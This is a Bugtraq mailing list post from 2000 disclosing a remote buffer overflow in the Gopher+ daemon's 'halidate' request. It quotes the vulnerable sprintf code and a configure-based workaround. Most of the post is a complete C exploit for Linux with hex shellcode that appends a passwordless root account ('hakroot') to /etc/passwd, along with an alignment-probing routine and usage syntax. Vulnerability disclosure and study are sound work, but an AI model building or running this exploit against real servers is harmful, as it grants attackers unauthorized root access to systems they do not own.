Bugtraq mailing list archives

Gopher2.3.1p0 and below remote buffer overflow.


From: Chris Sharp <v9 () FAKEHALO ORG>
Date: Sun, 20 Aug 2000 22:01:50 -0000

Gopher2.3.1p0 and below has many overflowable functions in
the daemon.  Most of them overflow with hardcoded data that
gets passed along - making it not possible to change any
pointers.

The "halidate" function is not one of those.  If sent the
request "halidate <large buffer>" you will overwrite a 512
buffer with around 600 bytes of data, in the eip. (plenty of
room to change the pointer)

Note: This is not related to the other vulnerability,
authenticate.c, which has since been patched in 2.3.1p0. 
2.3.1p0 is vulnerable to this.

The operating system is not specific(multi-platform), but i
have made a exploit for linux to exploit this:

/*  (linux)Gopher+[v2.3.1p0-]:  Daemon  remote  buffer 
overflow.
    Findings   and   exploit  by:  v9[v9 () fakehalo org]. 
(vade79)

    It  is  possible  to exploit an unchecked sprintf call
in the
    "halidate"  option  in  gopherd.c.  This exploit will
attempt 
    to   write   a   line   to   /etc/passwd.    (as a
superuser)

    The  gopher+  daemon  has  multiple  overflows  in 
different
    functions,  but  most overwrite the pointer(s) with
hardcoded
    data   from   the   program  which  are  limited.  
But,  the
    "halidate"  option/call  was  a little hidden suprise
for me.

    When  the  exploit  is sucessfully executed it adds the
line:
    "hakroot::0:0:hacked:/:/bin/sh"   to   /etc/passwd, 
with  no
    0x0A   return,   which  could  cause  some  problems  in
some
    situations.   You  may  have  to wait till someone on
the box
    modifies  their  /etc/passwd  by  adding  a user or what
not.

   Syntax:
    [syntax]: ./xgopher <target> [port] [offset]
[alignment].
    [syntax]: ./xgopher <target> <[port] [-getalignment]>.

   Explaination:
    If you don't know what the alignment of the server is,
(which
    isn't  expected  *g*)  just  type  "./xgopher hostname
[port]
    -getalignment" and with aligment you're given type
"./xgopher
    hostname <port> <offset> <alignment response you are
given>".

   Info: 
    The  following  segment  is  from gopherd.c [line
1076/3453]:
    ("pathname"  in  the  code  segment  is supplied by the
user)

--------------------------------------------------------------------------------
void
OutputAuthForm(int sockfd, char *pathname, char *host, int
port, CMDprotocol p)
{
     char tmpbuf[512];
     ...
     sprintf(tmpbuf,
             "<FORM METHOD=\"GET\"
ACTION=\"http://%s:%d/halidate%%20%s\";>\r\n",
             host, port, pathname);
     ...
}
--------------------------------------------------------------------------------

   Notes:
    This  exploit requires that the service is running as
root(to
    write  to  /etc/passwd).  Even if the gopher+ daemon
displays
    itself  running  as  another user, as long as it's
process is
    running as root(uid=0) it should exploit successfully. 
Do to
    the  servers  local  host+port character lengths
changing the
    alignment  will  almost  never be the same, I recommend
using
    the  -getalignment  parameter.  You  can  play as much
as you
    want  on  this,  the  process  is  forked and won't
crash the
    gopher+  daemon  with invalid pointers.  This was also
tested
    effective   on   the  2.3  version  of  the  gopher+ 
daemon.
    Although  this  exploit  is  for linux servers, gopher+
isn't
    just  built for linux, it is also supported for BSD,
Solaris,
    SunOS,     HP-UX     and     other     operation    
systems.

   Fix:
    Compile  with "./configure --disable-auth" (isn't
disabled by
    default)  and  then  recompile  gopher  or  wait for a
patch.

   Tests:
    Built  and  tested  on slackware 3.6 and slackware 7.0
linux.
    (with   lots   of   junk   added   to   my  /etc/passwd 
*g*)
*/
#define BSIZE 512               // buffer size. (tmpbuf[512]
minus server data)
#define PADDING 150             // ret reps. (host+port
length guessing room)
#define POINTER 0xbffff65c      // base pointer in which
offsets are added.
#define DEFAULT_PORT 70         // default gopher+ daemon
port.
#define DEFAULT_OFFSET 0        // default offset. (argument
is added)
#define DEFAULT_ALIGN 0         // alignment. (depends on
host+port length)
#define TIMEOUT 5               // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]= // appends
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.

"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88"

"\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd"

"\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80"

"\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a"

"\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";
void timeout(){printf("[timeout]: Connection
timeout(%d).\n",TIMEOUT);quit(-1);}
int main(int argc,char **argv){
 char bof[BSIZE];
 int i,sock,port,offset,align,ga=0;
 long ret=DEFAULT_OFFSET;
 struct hostent *t;
 struct sockaddr_in s;
 printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer
overflow, by: v9[v9@fake"
 "halo.org].\n");
 if(argc<2){
  printf("[syntax]: %s <target> [port] [offset]
[alignment].\n",argv[0]);
  printf("[syntax]: %s <target> <[port]
[-getalignment]>.\n",argv[0]);
  quit(0);
 }
 if(argc>2){

if(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;}
  else{port=atoi(argv[2]);}
 }
 else{port=DEFAULT_PORT;}
 if(argc>3){
  if(!strcmp(argv[3],"-getalignment")){ga=1;}
  else{offset=atoi(argv[3]);}
 }
 else{offset=DEFAULT_OFFSET;}
 if(argc>4){
  if(atoi(argv[4])<0||atoi(argv[4])>3){
   printf("[ignored]: Invalid alignment, using default
alignment. (0-3)\n");
   align=DEFAULT_ALIGN;
  }
  else{align=atoi(argv[4]);}
 }
 else{align=DEFAULT_ALIGN;}
 if(ga){getalignment(argv[1],port);}
 else{
  ret=(POINTER+offset);
  printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size:
%d, Padding: %d.\n"
  ,ret,offset,align,BSIZE,PADDING);
  for(i=align;i<BSIZE;i+=4){*(long *)&bof[i]=ret;}
 
for(i=0;i<(BSIZE-strlen(exec)-PADDING);i++){*(bof+i)=0x90;}
  memcpy(bof+i,exec,strlen(exec));
  memcpy(bof,"halidate ",9);
  bof[BSIZE]='\0';
  if(s.sin_addr.s_addr=inet_addr(argv[1])){
   if(!(t=gethostbyname(argv[1]))){
    printf("[error]: Couldn't resolve. (%s)\n",argv[1]);
    quit(-1);
   }
  
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
  }
  s.sin_family=AF_INET;
  s.sin_port=htons(port);
  sock=socket(AF_INET,SOCK_STREAM,0);
  signal(SIGALRM,timeout);
  printf("[data]: Attempting to connect to %s on port
%d.\n",argv[1],port);
  alarm(TIMEOUT);
  if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
   printf("[error]: Connection failed. (port=%d)\n",port);
   quit(-1);
  }
  alarm(0);
  printf("[data]: Connected successfully.
(port=%d)\n",port);
  printf("[data]: Sending buffer(%d) to
server.\n",strlen(bof));
  write(sock,bof,strlen(bof));
  usleep(500000);
  printf("[data]: Closing socket.\n");
  close(sock);
 }
 quit(0);
}
int getalignment(char *target,int port){
 char buf[1024];
 int i,j,si,sock,math;
 struct hostent *t;
 struct sockaddr_in s;
 if(s.sin_addr.s_addr=inet_addr(target)){
  if(!(t=gethostbyname(target))){
   printf("[error]: Couldn't resolve. (%s)\n",target);
   quit(-1);
  }
 
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
 }
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 sock=socket(AF_INET,SOCK_STREAM,0);
 signal(SIGALRM,timeout);
 printf("[data]: Attempting to connect to %s on port
%d.\n",target,port);
 alarm(TIMEOUT);
 if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
  printf("[error]: Connection failed. (port=%d)\n",port);
  quit(-1);
 }
 alarm(0);
 printf("[data]: Connected successfully. (port=%d)\n",port);
 alarm(TIMEOUT);
 write(sock,"halidate \n",10);
 for(i=0;i<2;i++){if(!read(sock,buf,1024)){si++;}}
 i=0;while(buf[i]&&!(buf[i]==0x4E)){i++;}
 j=0;while(buf[j]&&!(buf[j]==0x25)){j++;}
 usleep(500000);
 printf("[data]: Closing socket.\n");
 close(sock);
 if(!si||i>=j||strlen(buf)<64){
  printf("[error]: Too minimal or invalid data recieved to
calculate. (try agai"
  "n?)\n");
  quit(-1);
 }
 else{
  math=(i-j-2);
  while(math<0){math+=4;}
  printf("[data]: Alignment calculation: %d.\n",math);
 }
}
int quit(int i){
 if(i){
  printf("[exit]: Dirty exit.\n");
  exit(0);
 }
 else{
  printf("[exit]: Clean exit.\n");
  exit(-1);
 }
}


Current thread: